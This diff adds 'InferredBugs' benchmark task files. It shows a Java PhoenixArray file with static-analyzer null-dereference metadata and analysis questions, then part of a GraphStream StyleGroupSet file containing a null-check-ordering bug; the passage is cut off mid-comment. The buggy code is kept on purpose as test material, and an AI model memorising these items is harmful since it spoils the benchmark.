+    public Object getElement(int index) {
+      return ((double[]) array)[index];
+    }
+	}
+	
+	public static class PrimitiveFloatPhoenixArray extends PhoenixArray {
+		private float[] floatArr;
+		public PrimitiveFloatPhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+		@Override
+		public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+			floatArr = new float[elements.length];
+			int i = 0;
+            for(Object o : elements) {
+                if (o != null) {
+                    floatArr[i] = (Float)o;
+                }
+                i++;
+            }
+      return floatArr;
+		}
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(floatArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(floatArr[pos]);
+		}
+
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveFloatPhoenixArray oArray = (PrimitiveFloatPhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((float[]) array, (float[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((float[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((float[]) array)[index];
+    }
+	}
+	
+	public static class PrimitiveBytePhoenixArray extends PhoenixArray {
+		private byte[] byteArr;
+		public PrimitiveBytePhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+		@Override
+		public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+			byteArr = new byte[elements.length];
+			int i = 0;
+            for(Object o : elements) {
+                if (o != null) {
+                    byteArr[i] = (Byte)o;
+                }
+                i++;
+            }
+      return byteArr;
+		}
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(byteArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(byteArr[pos]);
+		}
+		
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveBytePhoenixArray oArray = (PrimitiveBytePhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((byte[]) array, (byte[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((byte[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((byte[]) array)[index];
+    }
+	}
+	
+	public static class PrimitiveBooleanPhoenixArray extends PhoenixArray {
+		private boolean[] booleanArr;
+		public PrimitiveBooleanPhoenixArray(PDataType dataType, Object[] elements) {
+			super(dataType, elements);
+		}
+
+		@Override
+		public boolean isPrimitiveType() {
+	        // boolean is primitive although PBoolean has no codec
+		    return true;
+		}
+		
+        @Override
+        public Object convertObjectArrayToPrimitiveArray(Object[] elements) {
+            booleanArr = new boolean[elements.length];
+            int i = 0;
+            for (Object o : elements) {
+                if (o != null) {
+                    booleanArr[i] = (Boolean) o;
+                }
+                i++;
+            }
+            return booleanArr;
+        }
+		
+		@Override
+        public int estimateByteSize(int pos) {
+			return this.baseType.estimateByteSize(booleanArr[pos]);
+		}
+		
+		@Override
+        public byte[] toBytes(int pos) {
+			return this.baseType.toBytes(booleanArr[pos]);
+		}
+		
+		@Override
+		public boolean equals(Object obj) {
+      if (obj == null) return false;
+      if (this == obj) return true;
+      if (this.getClass() != obj.getClass()) return false;
+      PrimitiveBooleanPhoenixArray oArray = (PrimitiveBooleanPhoenixArray) obj;
+      if (numElements != oArray.numElements) return false;
+      if (baseType.getSqlType() != oArray.baseType.getSqlType()) return false;
+      return Arrays.equals((boolean[]) array, (boolean[]) oArray.array);
+		}
+
+    @Override
+    public int hashCode() {
+      if (hashCode != Integer.MIN_VALUE) return hashCode;
+      hashCode = 17;
+      hashCode = hashCode * 37 + numElements;
+      hashCode = hashCode * 37 + baseType.getSqlType();
+      hashCode = hashCode * 37 + Arrays.hashCode((boolean[]) array);
+      return hashCode;
+    }
+
+    @Override
+    public Object getElement(int index) {
+      return ((boolean[]) array)[index];
+    }
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `baseType.getMaxLength(*elements[i])` could be null and is dereferenced at line 57.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+java.lang.Object[] PhoenixArray.coerceToNewLength(PDataType,java.lang.Object[],int)
+
+### Procedure Id:
+org.apache.phoenix.schema.types.PhoenixArray.coerceToNewLength(org.apache.phoenix.schema.types.PData.db33571d3ac6cf1c2c08da0fab029192
+
+### File:
+phoenix-core/src/main/java/org/apache/phoenix/schema/types/PhoenixArray.java
+
+### Key:
+PhoenixArray.java|coerceToNewLength|NULL_DEREFERENCE
+
+### Node Key:
+dfb0c7f925a05ca0a82798b2072fc528
+
+### Hash:
+af1901a4271adf7b3d6feeaa4dc7fbd3
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6090/instruction.md b/inferredbugs-6090/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ea8ff3aeaca7e8b007d8148a5057afc3b682e4d1
--- /dev/null
+++ b/inferredbugs-6090/instruction.md
@@ -0,0 +1,1542 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** gs-core
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2006 - 2013
+ *     Stefan Balev     <stefan.balev@graphstream-project.org>
+ *     Julien Baudry    <julien.baudry@graphstream-project.org>
+ *     Antoine Dutot    <antoine.dutot@graphstream-project.org>
+ *     Yoann Pigné      <yoann.pigne@graphstream-project.org>
+ *     Guilhelm Savin   <guilhelm.savin@graphstream-project.org>
+ * 
+ * This file is part of GraphStream <http://graphstream-project.org>.
+ * 
+ * GraphStream is a library whose purpose is to handle static or dynamic
+ * graph, create them from scratch, file or any source and display them.
+ * 
+ * This program is free software distributed under the terms of two licenses, the
+ * CeCILL-C license that fits European law, and the GNU Lesser General Public
+ * License. You can  use, modify and/ or redistribute the software under the terms
+ * of the CeCILL-C license as circulated by CEA, CNRS and INRIA at the following
+ * URL <http://www.cecill.info> or under the terms of the GNU LGPL as published by
+ * the Free Software Foundation, either version 3 of the License, or (at your
+ * option) any later version.
+ * 
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY
+ * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+ * PARTICULAR PURPOSE.  See the GNU Lesser General Public License for more details.
+ * 
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ * 
+ * The fact that you are presently reading this means that you have had
+ * knowledge of the CeCILL-C and LGPL licenses and that you accept their terms.
+ */
+package org.graphstream.ui.graphicGraph;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+
+import org.graphstream.graph.Edge;
+import org.graphstream.graph.Element;
+import org.graphstream.graph.Graph;
+import org.graphstream.graph.Node;
+import org.graphstream.ui.graphicGraph.stylesheet.Rule;
+import org.graphstream.ui.graphicGraph.stylesheet.Selector;
+import org.graphstream.ui.graphicGraph.stylesheet.StyleSheet;
+import org.graphstream.ui.graphicGraph.stylesheet.StyleSheetListener;
+import org.graphstream.ui.graphicGraph.stylesheet.StyleConstants.ShadowMode;
+
+/**
+ * A set of style groups.
+ * 
+ * <p>
+ * This class is in charge or storing all the style groups and to update them.
+ * Each time an element is added or removed the groups are updated. Each time
+ * the style sheet changes the groups are updated.
+ * </p>
+ * 
+ * @author Antoine Dutot
+ */
+public class StyleGroupSet implements StyleSheetListener {
+	// Attribute
+
+	/**
+	 * The style sheet.
+	 */
+	protected StyleSheet stylesheet;
+
+	/**
+	 * All the groups indexed by their unique identifier.
+	 */
+	protected HashMap<String, StyleGroup> groups = new HashMap<String, StyleGroup>();
+
+	/**
+	 * Allows to retrieve the group containing a node knowing the node id.
+	 */
+	protected HashMap<String, String> byNodeIdGroups = new HashMap<String, String>();
+
+	/**
+	 * Allows to retrieve the group containing an edge knowing the node id.
+	 */
+	protected HashMap<String, String> byEdgeIdGroups = new HashMap<String, String>();
+
+	/**
+	 * Allows to retrieve the group containing a sprite knowing the node id.
+	 */
+	protected HashMap<String, String> bySpriteIdGroups = new HashMap<String, String>();
+
+	/**
+	 * Allows to retrieve the group containing a graph knowing the node id.
+	 */
+	protected HashMap<String, String> byGraphIdGroups = new HashMap<String, String>();
+
+	/**
+	 * Virtual set of nodes. This set provides fake methods to make it appear as
+	 * a set of nodes whereas it only maps on the node style groups.
+	 */
+	protected NodeSet nodeSet = new NodeSet();
+
+	/**
+	 * Virtual set of edges. This set provides fake methods to make it appear as
+	 * a set of edges whereas it only maps on the edge style groups.
+	 */
+	protected EdgeSet edgeSet = new EdgeSet();
+
+	/**
+	 * Virtual set of sprites. This set provides fake methods to make it appear
+	 * as a set of sprites whereas it only maps on the sprite style groups.
+	 */
+	protected SpriteSet spriteSet = new SpriteSet();
+
+	/**
+	 * Virtual set of graphs. This set provides fake methods to make it appear
+	 * as a set of graphs whereas it only maps on the graph style groups.
+	 */
+	protected GraphSet graphSet = new GraphSet();
+
+	/**
+	 * The set of events actually occurring.
+	 */
+	protected EventSet eventSet = new EventSet();
+
+	/**
+	 * The groups sorted by their Z index.
+	 */
+	protected ZIndex zIndex = new ZIndex();
+
+	/**
+	 * Set of groups that cast shadow.
+	 */
+	protected ShadowSet shadow = new ShadowSet();
+
+	/**
+	 * Remove groups if they become empty?.
+	 */
+	protected boolean removeEmptyGroups = true;
+
+	/**
+	 * Set of listeners.
+	 */
+	protected ArrayList<StyleGroupListener> listeners = new ArrayList<StyleGroupListener>();
+
+	// Construction
+
+	/**
+	 * New empty style group set, using the given style sheet to create style
+	 * groups. The group set installs itself as a listener of the style sheet.
+	 * So in order to completely stop using such a group, you must call
+	 * {@link #release()}.
+	 * 
+	 * @param stylesheet
+	 *            The style sheet to use to create groups.
+	 */
+	public StyleGroupSet(StyleSheet stylesheet) {
+		this.stylesheet = stylesheet;
+
+		stylesheet.addListener(this);
+	}
+
+	// Access
+
+	/**
+	 * Number of groups.
+	 * 
+	 * @return The number of groups.
+	 */
+	public int getGroupCount() {
+		return groups.size();
+	}
+
+	/**
+	 * Return a group by its unique identifier. The way group identifier are
+	 * constructed reflects their contents.
+	 * 
+	 * @param groupId
+	 *            The group identifier.
+	 * @return The corresponding group or null if not found.
+	 */
+	public StyleGroup getGroup(String groupId) {
+		return groups.get(groupId);
+	}
+
+	/**
+	 * Iterator on the set of groups in no particular order.
+	 * 
+	 * @return An iterator on the group set.
+	 */
+	public Iterator<? extends StyleGroup> getGroupIterator() {
+		return groups.values().iterator();
+	}
+
+	/**
+	 * Iterable set of groups elements, in no particular order.
+	 * 
+	 * @return An iterable on the set of groups.
+	 */
+	public Iterable<? extends StyleGroup> groups() {
+		return groups.values();
+	}
+
+	/**
+	 * Iterator on the Z index.
+	 * 
+	 * @return The z index iterator.
+	 */
+	public Iterator<HashSet<StyleGroup>> getZIterator() {
+		return zIndex.getIterator();
+	}
+
+	/**
+	 * Iterable set of "subsets of groups" sorted by Z level. Each subset of
+	 * groups is at the same Z level.
+	 * 
+	 * @return The z levels.
+	 */
+	public Iterable<HashSet<StyleGroup>> zIndex() {
+		return zIndex;
+	}
+
+	/**
+	 * Iterator on the style groups that cast a shadow.
+	 * 
+	 * @return The shadow groups iterator.
+	 */
+	public Iterator<StyleGroup> getShadowIterator() {
+		return shadow.getIterator();
+	}
+
+	/**
+	 * Iterable set of groups that cast shadow.
+	 * 
+	 * @return All the groups that cast a shadow.
+	 */
+	public Iterable<StyleGroup> shadows() {
+		return shadow;
+	}
+
+	/**
+	 * True if the set contains and styles the node whose identifier is given.
+	 * 
+	 * @param id
+	 *            The node identifier.
+	 * @return True if the node is in this set.
+	 */
+	public boolean containsNode(String id) {
+		return byNodeIdGroups.containsKey(id);
+	}
+
+	/**
+	 * True if the set contains and styles the edge whose identifier is given.
+	 * 
+	 * @param id
+	 *            The edge identifier.
+	 * @return True if the edge is in this set.
+	 */
+	public boolean containsEdge(String id) {
+		return byEdgeIdGroups.containsKey(id);
+	}
+
+	/**
+	 * True if the set contains and styles the sprite whose identifier is given.
+	 * 
+	 * @param id
+	 *            The sprite identifier.
+	 * @return True if the sprite is in this set.
+	 */
+	public boolean containsSprite(String id) {
+		return bySpriteIdGroups.containsKey(id);
+	}
+
+	/**
+	 * True if the set contains and styles the graph whose identifier is given.
+	 * 
+	 * @param id
+	 *            The graph identifier.
+	 * @return True if the graph is in this set.
+	 */
+	public boolean containsGraph(String id) {
+		return byGraphIdGroups.containsKey(id);
+	}
+
+	/**
+	 * Get an element.
+	 * 
+	 * @param id
+	 *            The element id.
+	 * @param elt2grp
+	 *            The kind of element.
+	 * @return The element or null if not found.
+	 */
+	protected Element getElement(String id, HashMap<String, String> elt2grp) {
+		String gid = elt2grp.get(id);
+
+		if (gid != null) {
+			StyleGroup group = groups.get(gid);
+			return group.getElement(id);
+		}
+
+		return null;
+	}
+
+	/**
+	 * Get a node element knowing its identifier.
+	 * 
+	 * @param id
+	 *            The node identifier.
+	 * @return The node if it is in this set, else null.
+	 */
+	public Node getNode(String id) {
+		return (Node) getElement(id, byNodeIdGroups);
+	}
+
+	/**
+	 * Get an edge element knowing its identifier.
+	 * 
+	 * @param id
+	 *            The edge identifier.
+	 * @return The edge if it is in this set, else null.
+	 */
+	public Edge getEdge(String id) {
+		return (Edge) getElement(id, byEdgeIdGroups);
+	}
+
+	/**
+	 * Get a sprite element knowing its identifier.
+	 * 
+	 * @param id
+	 *            The sprite identifier.
+	 * @return The sprite if it is in this set, else null.
+	 */
+	public GraphicSprite getSprite(String id) {
+		return (GraphicSprite) getElement(id, bySpriteIdGroups);
+	}
+
+	/**
+	 * Get a graph element knowing its identifier.
+	 * 
+	 * @param id
+	 *            The graph identifier.
+	 * @return The graph if it is in this set, else null.
+	 */
+	public Graph getGraph(String id) {
+		return (Graph) getElement(id, byGraphIdGroups);
+	}
+
+	/**
+	 * The number of nodes referenced.
+	 * 
+	 * @return The node count.
+	 */
+	public int getNodeCount() {
+		return byNodeIdGroups.size();
+	}
+
+	/**
+	 * The number of edges referenced.
+	 * 
+	 * @return The edge count.
+	 */
+	public int getEdgeCount() {
+		return byEdgeIdGroups.size();
+	}
+
+	/**
+	 * The number of sprites referenced.
+	 * 
+	 * @return The sprite count.
+	 */
+	public int getSpriteCount() {
+		return bySpriteIdGroups.size();
+	}
+
+	/**
+	 * Iterator on the set of nodes.
+	 * 
+	 * @return An iterator on all node elements contained in style groups.
+	 */
+	public Iterator<? extends Node> getNodeIterator() {
+		return new ElementIterator<Node>(byNodeIdGroups);
+	}
+
+	/**
+	 * Iterator on the set of graphs.
+	 * 
+	 * @return An iterator on all graph elements contained in style groups.
+	 */
+	public Iterator<? extends Graph> getGraphIterator() {
+		return new ElementIterator<Graph>(byGraphIdGroups);
+	}
+
+	/**
+	 * Iterable set of nodes.
+	 * 
+	 * @return The set of all nodes.
+	 */
+	public Iterable<? extends Node> nodes() {
+		return nodeSet;
+	}
+
+	/**
+	 * Iterable set of graphs.
+	 * 
+	 * @return The set of all graphs.
+	 */
+	public Iterable<? extends Graph> graphs() {
+		return graphSet;
+	}
+
+	/**
+	 * Iterator on the set of edges.
+	 * 
+	 * @return An iterator on all edge elements contained in style groups.
+	 */
+	public Iterator<? extends Edge> getEdgeIterator() {
+		return new ElementIterator<Edge>(byEdgeIdGroups);
+	}
+
+	/**
+	 * Iterable set of edges.
+	 * 
+	 * @return The set of all edges.
+	 */
+	public Iterable<? extends Edge> edges() {
+		return edgeSet;
+	}
+
+	/**
+	 * Iterator on the set of sprite.
+	 * 
+	 * @return An iterator on all sprite elements contained in style groups.
+	 */
+	public Iterator<? extends GraphicSprite> getSpriteIterator() {
+		return new ElementIterator<GraphicSprite>(bySpriteIdGroups);
+	}
+
+	/**
+	 * Iterable set of sprites.
+	 * 
+	 * @return The set of all sprites.
+	 */
+	public Iterable<? extends GraphicSprite> sprites() {
+		return spriteSet;
+	}
+
+	/**
+	 * Retrieve the group identifier of an element knowing the element
+	 * identifier.
+	 * 
+	 * @param element
+	 *            The element to search for.
+	 * @return Identifier of the group containing the element.
+	 */
+	public String getElementGroup(Element element) {
+		if (element instanceof Node) {
+			return byNodeIdGroups.get(element.getId());
+		} else if (element instanceof Edge) {
+			return byEdgeIdGroups.get(element.getId());
+		} else if (element instanceof GraphicSprite) {
+			return bySpriteIdGroups.get(element.getId());
+		} else if (element instanceof Graph) {
+			return byGraphIdGroups.get(element.getId());
+		} else {
+			throw new RuntimeException("What ?");
+		}
+	}
+
+	/**
+	 * Get the style of an element.
+	 * 
+	 * @param element
+	 *            The element to search for.
+	 * @return The style group of the element (which is also a style).
+	 */
+	public StyleGroup getStyleForElement(Element element) {
+		String gid = getElementGroup(element);
+
+		return groups.get(gid);
+	}
+
+	/**
+	 * Get the style of a given node.
+	 * 
+	 * @param node
+	 *            The node to search for.
+	 * @return The node style.
+	 */
+	public StyleGroup getStyleFor(Node node) {
+		String gid = byNodeIdGroups.get(node.getId());
+		return groups.get(gid);
+	}
+
+	/**
+	 * Get the style of a given edge.
+	 * 
+	 * @param edge
+	 *            The edge to search for.
+	 * @return The edge style.
+	 */
+	public StyleGroup getStyleFor(Edge edge) {
+		String gid = byEdgeIdGroups.get(edge.getId());
+		return groups.get(gid);
+	}
+
+	/**
+	 * Get the style of a given sprite.
+	 * 
+	 * @param sprite
+	 *            The node to search for.
+	 * @return The sprite style.
+	 */
+	public StyleGroup getStyleFor(GraphicSprite sprite) {
+		String gid = bySpriteIdGroups.get(sprite.getId());
+		return groups.get(gid);
+	}
+
+	/**
+	 * Get the style of a given graph.
+	 * 
+	 * @param graph
+	 *            The node to search for.
+	 * @return The graph style.
+	 */
+	public StyleGroup getStyleFor(Graph graph) {
+		String gid = byGraphIdGroups.get(graph.getId());
+		return groups.get(gid);
+	}
+
+	/**
+	 * True if groups are removed when becoming empty. This setting allows to
+	 * keep empty group when the set of elements is quite dynamic. This allows
+	 * to avoid recreting groups when an element appears and disappears
+	 * regularly.
+	 * 
+	 * @return True if the groups are removed when empty.
+	 */
+	public boolean areEmptyGroupRemoved() {
+		return removeEmptyGroups;
+	}
+
+	/**
+	 * The Z index object.
+	 * 
+	 * @return The Z index.
+	 */
+	public ZIndex getZIndex() {
+		return zIndex;
+	}
+
+	/**
+	 * The set of style groups that cast a shadow.
+	 * 
+	 * @return The set of shadowed style groups.
+	 */
+	public ShadowSet getShadowSet() {
+		return shadow;
+	}
+
+	// Command
+
+	/**
+	 * Release any dependency to the style sheet.
+	 */
+	public void release() {
+		stylesheet.removeListener(this);
+	}
+
+	/**
+	 * Empties this style group set. The style sheet is listener is not removed,
+	 * use {@link #release()} to do that.
+	 */
+	public void clear() {
+		byEdgeIdGroups.clear();
+		byNodeIdGroups.clear();
+		bySpriteIdGroups.clear();
+		byGraphIdGroups.clear();
+		groups.clear();
+		zIndex.clear();
+		shadow.clear();
+	}
+
+	/**
+	 * Remove or keep groups that becomes empty, if true the groups are removed.
+	 * If this setting was set to false, and is now true, the group set is
+	 * purged of the empty groups.
+	 * 
+	 * @param on
+	 *            If true the groups will be removed.
+	 */
+	public void setRemoveEmptyGroups(boolean on) {
+		if (removeEmptyGroups == false && on == true) {
+			Iterator<? extends StyleGroup> i = groups.values().iterator();
+
+			while (i.hasNext()) {
+				StyleGroup g = i.next();
+
+				if (g.isEmpty())
+					i.remove();
+			}
+		}
+
+		removeEmptyGroups = on;
+	}
+
+	protected StyleGroup addGroup(String id, ArrayList<Rule> rules,
+			Element firstElement) {
+		StyleGroup group = new StyleGroup(id, rules, firstElement, eventSet);
+
+		groups.put(id, group);
+		zIndex.groupAdded(group);
+		shadow.groupAdded(group);
+		
+		return group;
+	}
+
+	protected void removeGroup(StyleGroup group) {
+		zIndex.groupRemoved(group);
+		shadow.groupRemoved(group);
+		groups.remove(group.getId());
+		group.release();
+	}
+
+	/**
+	 * Add an element and bind it to its style group. The group is created if
+	 * needed.
+	 * 
+	 * @param element
+	 *            The element to add.
+	 * @return The style group where the element was added.
+	 */
+	public StyleGroup addElement(Element element) {
+		StyleGroup group = addElement_(element);
+
+		for (StyleGroupListener listener : listeners)
+			listener.elementStyleChanged(element, null, group);
+
+		return group;
+	}
+
+	protected StyleGroup addElement_(Element element) {
+		ArrayList<Rule> rules = stylesheet.getRulesFor(element);
+		String gid = stylesheet.getStyleGroupIdFor(element, rules);
+		StyleGroup group = groups.get(gid);
+
+		if (group == null)
+			group = addGroup(gid, rules, element);
+		else
+			group.addElement(element);
+
+		addElementToReverseSearch(element, gid);
+
+		return group;
+	}
+
+	/**
+	 * Remove an element from the group set. If the group becomes empty after
+	 * the element removal, depending on the setting of
+	 * {@link #areEmptyGroupRemoved()}, the group is deleted or kept. Keeping
+	 * groups allows to handle faster elements that constantly appear and
+	 * disappear.
+	 * 
+	 * @param element
+	 *            The element to remove.
+	 */
+	public void removeElement(Element element) {
+		String gid = getElementGroup(element);
+		StyleGroup group = groups.get(gid);
+
+		if (group != null) {
+			group.removeElement(element);
+			removeElementFromReverseSearch(element);
+
+			if (removeEmptyGroups && group.isEmpty())
+				removeGroup(group);
+		}
+	}
+
+	/**
+	 * Check if an element need to change from a style group to another.
+	 * 
+	 * <p>
+	 * When an element can have potentially changed style due to some of its
+	 * attributes (ui.class for example), instead of removing it then reading
+	 * it, use this method to move the element from its current style group to a
+	 * potentially different style group.
+	 * </p>
+	 * 
+	 * <p>
+	 * Explanation of this method : checking the style of an element may be done
+	 * by removing it ({@link #removeElement(Element)}) and then re-adding it (
+	 * {@link #addElement(Element)}). This must be done by the element since it
+	 * knows when to check this. However you cannot only remove and add, since
+	 * the style group inside which the element is can have events occurring on
+	 * it, and these events must be passed from its old style to its new style.
+	 * This method does all this information passing.
+	 * </p>
+	 * 
+	 * @param element
+	 *            The element to move.
+	 */
+	public void checkElementStyleGroup(Element element) {
+		StyleGroup oldGroup = getGroup(getElementGroup(element));
+
+		// Get the old element "dynamic" status.
+
+		boolean isDyn = oldGroup.isElementDynamic(element);
+
+		// Get the old event set for the given element.
+
+		StyleGroup.ElementEvents events = null;
+
+		if (oldGroup != null)
+			events = oldGroup.getEventsFor(element);
+
+		// Remove the element from its old style and add it to insert it in the
+		// correct style.
+
+		removeElement(element);
+		addElement_(element);
+
+		// Eventually push the events on the new style group.
+
+		StyleGroup newGroup = getGroup(getElementGroup(element));
+
+		if (newGroup != null && events != null) {
+			for (String event : events.events)
+				pushEventFor(element, event);
+		}
+
+		for (StyleGroupListener listener : listeners)
+			listener.elementStyleChanged(element, oldGroup, newGroup);
+
+		// Eventually set the element as dynamic, if it was.
+
+		if (newGroup != null && isDyn)
+			newGroup.pushElementAsDynamic(element);
+	}
+
+	protected void addElementToReverseSearch(Element element, String groupId) {
+		if (element instanceof Node) {
+			byNodeIdGroups.put(element.getId(), groupId);
+		} else if (element instanceof Edge) {
+			byEdgeIdGroups.put(element.getId(), groupId);
+		} else if (element instanceof GraphicSprite) {
+			bySpriteIdGroups.put(element.getId(), groupId);
+		} else if (element instanceof Graph) {
+			byGraphIdGroups.put(element.getId(), groupId);
+		} else {
+			throw new RuntimeException("What ?");
+		}
+	}
+
+	protected void removeElementFromReverseSearch(Element element) {
+		if (element instanceof Node) {
+			byNodeIdGroups.remove(element.getId());
+		} else if (element instanceof Edge) {
+			byEdgeIdGroups.remove(element.getId());
+		} else if (element instanceof GraphicSprite) {
+			bySpriteIdGroups.remove(element.getId());
+		} else if (element instanceof Graph) {
+			byGraphIdGroups.remove(element.getId());
+		} else {
+			throw new RuntimeException("What ?");
+		}
+	}
+
+	/**
+	 * Push a global event on the event stack. Events trigger the replacement of
+	 * a style by an alternative style (or meta-class) when possible. If an
+	 * event is on the event stack, each time a style has an alternative
+	 * corresponding to the event, the alternative is used instead of the style.
+	 * 
+	 * @param event
+	 *            The event to push.
+	 */
+	public void pushEvent(String event) {
+		eventSet.pushEvent(event);
+	}
+
+	/**
+	 * Push an event specifically for a given element. This is normally done
+	 * automatically by the graphic element.
+	 * 
+	 * @param element
+	 *            The element considered.
+	 * @param event
+	 *            The event to push.
+	 */
+	public void pushEventFor(Element element, String event) {
+		StyleGroup group = getGroup(getElementGroup(element));
+
+		if (group != null)
+			group.pushEventFor(element, event);
+	}
+
+	/**
+	 * Pop a global event from the event set.
+	 * 
+	 * @param event
+	 *            The event to remove.
+	 */
+	public void popEvent(String event) {
+		eventSet.popEvent(event);
+	}
+
+	/**
+	 * Pop an event specifically for a given element. This is normally done
+	 * automatically by the graphic element.
+	 * 
+	 * @param element
+	 *            The element considered.
+	 * @param event
+	 *            The event to pop.
+	 */
+	public void popEventFor(Element element, String event) {
+		StyleGroup group = getGroup(getElementGroup(element));
+
+		if (group != null)
+			group.popEventFor(element, event);
+	}
+
+	/**
+	 * Specify the given element has dynamic style attribute values. This is
+	 * normally done automatically by the graphic element.
+	 * 
+	 * @param element
+	 *            The element to add to the dynamic subset.
+	 */
+	public void pushElementAsDynamic(Element element) {
+		StyleGroup group = getGroup(getElementGroup(element));
+
+		if (group != null)
+			group.pushElementAsDynamic(element);
+	}
+
+	/**
+	 * Remove the given element from the subset of elements having dynamic style
+	 * attribute values. This is normally done automatically by the graphic
+	 * element.
+	 * 
+	 * @param element
+	 *            The element to remove from the dynamic subset.
+	 */
+	public void popElementAsDynamic(Element element) {
+		StyleGroup group = getGroup(getElementGroup(element));
+
+		if (group != null)
+			group.popElementAsDynamic(element);
+	}
+
+	/**
+	 * Add a listener for element style changes.
+	 * 
+	 * @param listener
+	 *            The listener to add.
+	 */
+	public void addListener(StyleGroupListener listener) {
+		listeners.add(listener);
+	}
+
+	/**
+	 * Remove a style change listener.
+	 * 
+	 * @param listener
+	 *            The listener to remove.
+	 */
+	public void removeListener(StyleGroupListener listener) {
+		int index = listeners.lastIndexOf(listener);
+
+		if (index >= 0) {
+			listeners.remove(index);
+		}
+	}
+
+	// Listener -- What to do when a change occurs in the style sheet.
+
+	public void styleAdded(Rule oldRule, Rule newRule) {
+		// When a style change, we need to update groups.
+		// Several cases :
+		// 1. The style already exists
+		// * Nothing to do in fact. All the elements are still in place.
+		// No style rule (selectors) changed, and therefore we do not have
+		// to change the groups since they are built using the selectors.
+		// 2. The style is new
+		// * we need to check all the groups concerning this kind of element (we
+		// can
+		// restrict our search to these groups, since other will not be
+		// impacted),
+		// and check all elements of these groups.
+
+		if (oldRule == null)
+			checkForNewStyle(newRule); // no need to check Z and shadow, done
+										// when adding/changing group.
+		else
+			checkZIndexAndShadow(oldRule, newRule);
+	}
+
+	public void styleSheetCleared() {
+		ArrayList<Element> elements = new ArrayList<Element>();
+
+		for (Element element : graphs())
+			elements.add(element);
+
+		for (Element element : nodes())
+			elements.add(element);
+
+		for (Element element : edges())
+			elements.add(element);
+
+		for (Element element : sprites())
+			elements.add(element);
+
+		clear();
+
+		for (Element element : elements)
+			removeElement(element);
+
+		for (Element element : elements)
+			addElement(element);
+	}
+
+	/**
+	 * Check each group that may have changed, for example to rebuild the Z
+	 * index and the shadow set.
+	 * 
+	 * @param oldRule
+	 *            The old rule that changed.
+	 * @param newRule
+	 *            The new rule that participated in the change.
+	 */
+	protected void checkZIndexAndShadow(Rule oldRule, Rule newRule) {
+		if (oldRule != null) {
+			if (oldRule.selector.getId() != null
+					|| oldRule.selector.getClazz() != null) {
+				// We may accelerate things a bit when a class or id style is
+				// modified,
+				// since only the groups listed in the style are concerned (we
+				// are at the
+				// bottom of the inheritance tree).
+				if (oldRule.getGroups() != null)
+					for (String s : oldRule.getGroups()) {
+						StyleGroup group = groups.get(s);
+						if(group != null) {
+							zIndex.groupChanged(group);
+							shadow.groupChanged(group);
+						}
+					}
+			} else {
+				// For kind styles "NODE", "EDGE", "GRAPH", "SPRITE", we must
+				// reset
+				// the whole Z and shadows for the kind, since several styles
+				// may
+				// have changed.
+
+				Selector.Type type = oldRule.selector.type;
+
+				for (StyleGroup group : groups.values()) {
+					if (group.getType() == type) {
+						zIndex.groupChanged(group);
+						shadow.groupChanged(group);
+					}
+				}
+			}
+		}
+	}
+
+	/**
+	 * We try to avoid at most to affect anew styles to elements and to recreate
+	 * groups, which is time consuming.
+	 * 
+	 * Two cases :
+	 * <ol>
+	 *    <li>The style is an specific (id) style. In this case a new
